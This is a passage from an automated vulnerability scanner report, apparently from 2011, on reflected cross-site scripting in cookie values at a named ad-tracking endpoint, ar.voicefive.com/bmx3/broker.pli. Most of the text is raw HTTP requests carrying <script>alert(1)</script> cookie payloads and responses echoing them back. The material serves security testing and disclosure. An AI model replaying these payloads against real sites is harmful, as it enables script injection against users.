Referer: http://ad.doubleclick.net/adi/N3867.270604.B3/B5128597.12;sz=300x250;click0=http://ib.adnxs.com/click/zMzMzMzMAECPwvUoXI_8PwAAAGBm5vs_TP6COGqw_j-HhsWoaw0CQKL1wI407bt8BWHfHSmrEEI1n1JNAAAAAMWRAwA2AQAAbAEAAAIAAACKwQIA5GoAAAEAAABVU0QAVVNEACwB-gCoAecEDgkAAQUCAAIAAAAAmSbu-wAAAAA./cnd=!ZhZOewie9AIQioMLGAAg5NUBKOcJMaelpaVrDQJAQhMIABAAGAAgASj-__________8BSABQAFioA2AAaOwC/referrer=http%3A//technorati.com//clickenc=http://b3.mookie1.com/RealMedia/ads/click_lx.ads/ZapTraderB3/RadioShack/SDYN_2011Q1/300/L38/1314851964/x90/USNetwork/RS_SDYN_2011Q1_ZT_DEF_30/RadioShack_SDYN_2011Q1.html/72634857383030695a694d41416f6366?http://b3.mookie1.com/RealMedia/ads/click_lx.ads/ZapTraderB3/RadioShack/SELL_2011Q1/DYN/300/L42/1232987503/x90/USNetwork/RS_SELL_2011Q1_ZT_DYN_300/RadioShack_SELL_2011Q1.html/72634857383030695a694d41416f6366?;ord=1232987503?
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ar_p67161473=exp=1&initExp=Sat Jan 8 03:20:09 2011&recExp=Sat Jan 8 03:20:09 2011&prad=55352400&cpn=4&arc=38899481&7bb7f<script>alert(1)</script>05cdeb39185; ar_p83612734=exp=1&initExp=Fri Jan 28 22:52:05 2011&recExp=Fri Jan 28 22:52:05 2011&prad=57555319&arc=39967551&; ar_p45555483=exp=1&initExp=Sat Jan 29 01:32:02 2011&recExp=Sat Jan 29 01:32:02 2011&prad=59007464&arc=38601779&; ar_da39f516a098b3de) ar_p68511049=exp=8&initExp=Mon Jan 31 16:31:23 2011&recExp=Tue Feb 8 18:06:45 2011&prad=264255448&arc=185637092&; ar_p85001580=exp=47&initExp=Wed Jan 26 20:14:29 2011&recExp=Tue Feb 8 22:44:46 2011&prad=59040787&arc=40461890&; UID=1d29d89e-72.246.30.75-1294456810

Response

HTTP/1.1 200 OK
Server: nginx
Date: Wed, 09 Feb 2011 14:07:51 GMT
Content-Type: application/x-javascript
Connection: close
Set-Cookie: ar_p85001580=exp=48&initExp=Wed Jan 26 20:14:29 2011&recExp=Wed Feb 9 14:07:51 2011&prad=58087509&arc=40401586&; expires=Tue 10-May-2011 14:07:51 GMT; path=/; domain=.voicefive.com;
Set-Cookie: BMX_G=method->-1,ts->1297260471; path=/; domain=.voicefive.com;
Set-Cookie: BMX_3PC=1; path=/; domain=.voicefive.com;
P3P: policyref="/w3c/p3p.xml", CP="NOI COR NID CUR DEV TAI PSA IVA OUR STA UNI NAV INT"
Cache-Control: max-age=0, no-cache, no-store, must-revalidate
Pragma: no-cache
Expires: -1
Vary: User-Agent,Accept-Encoding
Content-Length: 26650

if(typeof(COMSCORE)!="undefined"&&typeof(COMSCORE.BMX)!="undefined"&&typeof(COMSCORE.BMX.Broker)!="undefined"){COMSCORE.BMX.Broker.logCensus({Prad:"58087509",Pid:"p85001580",Arc:"40401586",Location:CO
...[SNIP]...
();}COMSCORE.BMX.Broker.Cookies={ "UID": '1d29d89e-72.246.30.75-1294456810', "ar_p67161473": 'exp=1&initExp=Sat Jan 8 03:20:09 2011&recExp=Sat Jan 8 03:20:09 2011&prad=55352400&cpn=4&arc=38899481&7bb7f<script>alert(1)</script>05cdeb39185', "ar_p85001580": 'exp=47&initExp=Wed Jan 26 20:14:29 2011&recExp=Tue Feb 8 22:44:46 2011&prad=59040787&arc=40461890&', "ar_p45555483": 'exp=1&initExp=Sat Jan 29 01:32:02 2011&recExp=Sat Jan 29 01:
...[SNIP]...

1.791. http://ar.voicefive.com/bmx3/broker.pli [ar_p83612734 cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ar.voicefive.com
Path:	/bmx3/broker.pli

Issue detail

The value of the ar_p83612734 cookie is copied into the HTML document as plain text between tags. The payload 57682<script>alert(1)</script>e755d817f94 was submitted in the ar_p83612734 cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /bmx3/broker.pli?pid=p85001580&PRAd=58087509&AR_C=40401586 HTTP/1.1
Host: ar.voicefive.com
Proxy-Connection: keep-alive
Referer: http://ad.doubleclick.net/adi/N3867.270604.B3/B5128597.12;sz=300x250;click0=http://ib.adnxs.com/click/zMzMzMzMAECPwvUoXI_8PwAAAGBm5vs_TP6COGqw_j-HhsWoaw0CQKL1wI407bt8BWHfHSmrEEI1n1JNAAAAAMWRAwA2AQAAbAEAAAIAAACKwQIA5GoAAAEAAABVU0QAVVNEACwB-gCoAecEDgkAAQUCAAIAAAAAmSbu-wAAAAA./cnd=!ZhZOewie9AIQioMLGAAg5NUBKOcJMaelpaVrDQJAQhMIABAAGAAgASj-__________8BSABQAFioA2AAaOwC/referrer=http%3A//technorati.com//clickenc=http://b3.mookie1.com/RealMedia/ads/click_lx.ads/ZapTraderB3/RadioShack/SDYN_2011Q1/300/L38/1314851964/x90/USNetwork/RS_SDYN_2011Q1_ZT_DEF_30/RadioShack_SDYN_2011Q1.html/72634857383030695a694d41416f6366?http://b3.mookie1.com/RealMedia/ads/click_lx.ads/ZapTraderB3/RadioShack/SELL_2011Q1/DYN/300/L42/1232987503/x90/USNetwork/RS_SELL_2011Q1_ZT_DYN_300/RadioShack_SELL_2011Q1.html/72634857383030695a694d41416f6366?;ord=1232987503?
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ar_p67161473=exp=1&initExp=Sat Jan 8 03:20:09 2011&recExp=Sat Jan 8 03:20:09 2011&prad=55352400&cpn=4&arc=38899481&; ar_p83612734=exp=1&initExp=Fri Jan 28 22:52:05 2011&recExp=Fri Jan 28 22:52:05 2011&prad=57555319&arc=39967551&57682<script>alert(1)</script>e755d817f94; ar_p45555483=exp=1&initExp=Sat Jan 29 01:32:02 2011&recExp=Sat Jan 29 01:32:02 2011&prad=59007464&arc=38601779&; ar_da39f516a098b3de) ar_p68511049=exp=8&initExp=Mon Jan 31 16:31:23 2011&recExp=Tue Feb 8 18:06:45 2011&prad=264255448&arc=185637092&; ar_p85001580=exp=47&initExp=Wed Jan 26 20:14:29 2011&recExp=Tue Feb 8 22:44:46 2011&prad=59040787&arc=40461890&; UID=1d29d89e-72.246.30.75-1294456810

Response

HTTP/1.1 200 OK
Server: nginx
Date: Wed, 09 Feb 2011 14:07:51 GMT
Content-Type: application/x-javascript
Connection: close
Set-Cookie: ar_p85001580=exp=48&initExp=Wed Jan 26 20:14:29 2011&recExp=Wed Feb 9 14:07:51 2011&prad=58087509&arc=40401586&; expires=Tue 10-May-2011 14:07:51 GMT; path=/; domain=.voicefive.com;
Set-Cookie: BMX_G=method->-1,ts->1297260471; path=/; domain=.voicefive.com;
Set-Cookie: BMX_3PC=1; path=/; domain=.voicefive.com;
P3P: policyref="/w3c/p3p.xml", CP="NOI COR NID CUR DEV TAI PSA IVA OUR STA UNI NAV INT"
Cache-Control: max-age=0, no-cache, no-store, must-revalidate
Pragma: no-cache
Expires: -1
Vary: User-Agent,Accept-Encoding
Content-Length: 26650

if(typeof(COMSCORE)!="undefined"&&typeof(COMSCORE.BMX)!="undefined"&&typeof(COMSCORE.BMX.Broker)!="undefined"){COMSCORE.BMX.Broker.logCensus({Prad:"58087509",Pid:"p85001580",Arc:"40401586",Location:CO
...[SNIP]...
t Jan 29 01:32:02 2011&recExp=Sat Jan 29 01:32:02 2011&prad=59007464&arc=38601779&', "ar_p83612734": 'exp=1&initExp=Fri Jan 28 22:52:05 2011&recExp=Fri Jan 28 22:52:05 2011&prad=57555319&arc=39967551&57682<script>alert(1)</script>e755d817f94', "ar_p68511049": 'exp=8&initExp=Mon Jan 31 16:31:23 2011&recExp=Tue Feb 8 18:06:45 2011&prad=264255448&arc=185637092&' };
COMSCORE.BMX.Broker.GlobalConfig={
"urlExcludeList": "http://photobucket.
...[SNIP]...

1.792. http://ar.voicefive.com/bmx3/broker.pli [ar_p85001580 cookie] previous

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ar.voicefive.com
Path:	/bmx3/broker.pli

Issue detail

The value of the ar_p85001580 cookie is copied into the HTML document as plain text between tags. The payload c36eb<script>alert(1)</script>49eda2e124b was submitted in the ar_p85001580 cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /bmx3/broker.pli?pid=p85001580&PRAd=58087509&AR_C=40401586 HTTP/1.1
Host: ar.voicefive.com
Proxy-Connection: keep-alive
Referer: http://ad.doubleclick.net/adi/N3867.270604.B3/B5128597.12;sz=300x250;click0=http://ib.adnxs.com/click/zMzMzMzMAECPwvUoXI_8PwAAAGBm5vs_TP6COGqw_j-HhsWoaw0CQKL1wI407bt8BWHfHSmrEEI1n1JNAAAAAMWRAwA2AQAAbAEAAAIAAACKwQIA5GoAAAEAAABVU0QAVVNEACwB-gCoAecEDgkAAQUCAAIAAAAAmSbu-wAAAAA./cnd=!ZhZOewie9AIQioMLGAAg5NUBKOcJMaelpaVrDQJAQhMIABAAGAAgASj-__________8BSABQAFioA2AAaOwC/referrer=http%3A//technorati.com//clickenc=http://b3.mookie1.com/RealMedia/ads/click_lx.ads/ZapTraderB3/RadioShack/SDYN_2011Q1/300/L38/1314851964/x90/USNetwork/RS_SDYN_2011Q1_ZT_DEF_30/RadioShack_SDYN_2011Q1.html/72634857383030695a694d41416f6366?http://b3.mookie1.com/RealMedia/ads/click_lx.ads/ZapTraderB3/RadioShack/SELL_2011Q1/DYN/300/L42/1232987503/x90/USNetwork/RS_SELL_2011Q1_ZT_DYN_300/RadioShack_SELL_2011Q1.html/72634857383030695a694d41416f6366?;ord=1232987503?
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ar_p67161473=exp=1&initExp=Sat Jan 8 03:20:09 2011&recExp=Sat Jan 8 03:20:09 2011&prad=55352400&cpn=4&arc=38899481&; ar_p83612734=exp=1&initExp=Fri Jan 28 22:52:05 2011&recExp=Fri Jan 28 22:52:05 2011&prad=57555319&arc=39967551&; ar_p45555483=exp=1&initExp=Sat Jan 29 01:32:02 2011&recExp=Sat Jan 29 01:32:02 2011&prad=59007464&arc=38601779&; ar_da39f516a098b3de) ar_p68511049=exp=8&initExp=Mon Jan 31 16:31:23 2011&recExp=Tue Feb 8 18:06:45 2011&prad=264255448&arc=185637092&; ar_p85001580=exp=47&initExp=Wed Jan 26 20:14:29 2011&recExp=Tue Feb 8 22:44:46 2011&prad=59040787&arc=40461890&c36eb<script>alert(1)</script>49eda2e124b; UID=1d29d89e-72.246.30.75-1294456810

Response

HTTP/1.1 200 OK
Server: nginx
Date: Wed, 09 Feb 2011 14:07:52 GMT
Content-Type: application/x-javascript
Connection: close
Set-Cookie: ar_p85001580=exp=48&initExp=Wed Jan 26 20:14:29 2011&recExp=Wed Feb 9 14:07:52 2011&c36eb<script>alert(1)</script>49eda2e124b=&prad=58087509&arc=40401586&; expires=Tue 10-May-2011 14:07:52 GMT; path=/; domain=.voicefive.com;
Set-Cookie: BMX_G=method->-1,ts->1297260472; path=/; domain=.voicefive.com;
Set-Cookie: BMX_3PC=1; path=/; domain=.voicefive.com;
P3P: policyref="/w3c/p3p.xml", CP="NOI COR NID CUR DEV TAI PSA IVA OUR STA UNI NAV INT"
Cache-Control: max-age=0, no-cache, no-store, must-revalidate
Pragma: no-cache
Expires: -1
Vary: User-Agent,Accept-Encoding
Content-Length: 26650

if(typeof(COMSCORE)!="undefined"&&typeof(COMSCORE.BMX)!="undefined"&&typeof(COMSCORE.BMX.Broker)!="undefined"){COMSCORE.BMX.Broker.logCensus({Prad:"58087509",Pid:"p85001580",Arc:"40401586",Location:CO
...[SNIP]...
8 03:20:09 2011&recExp=Sat Jan 8 03:20:09 2011&prad=55352400&cpn=4&arc=38899481&', "ar_p85001580": 'exp=47&initExp=Wed Jan 26 20:14:29 2011&recExp=Tue Feb 8 22:44:46 2011&prad=59040787&arc=40461890&c36eb<script>alert(1)</script>49eda2e124b', "ar_p45555483": 'exp=1&initExp=Sat Jan 29 01:32:02 2011&recExp=Sat Jan 29 01:32:02 2011&prad=59007464&arc=38601779&', "ar_p83612734": 'exp=1&initExp=Fri Jan 28 22:52:05 2011&recExp=Fri Jan 28 22:5
...[SNIP]...

Report generated by CloudScan Vulnerability Crawler at Wed Feb 09 09:05:59 CST 2011.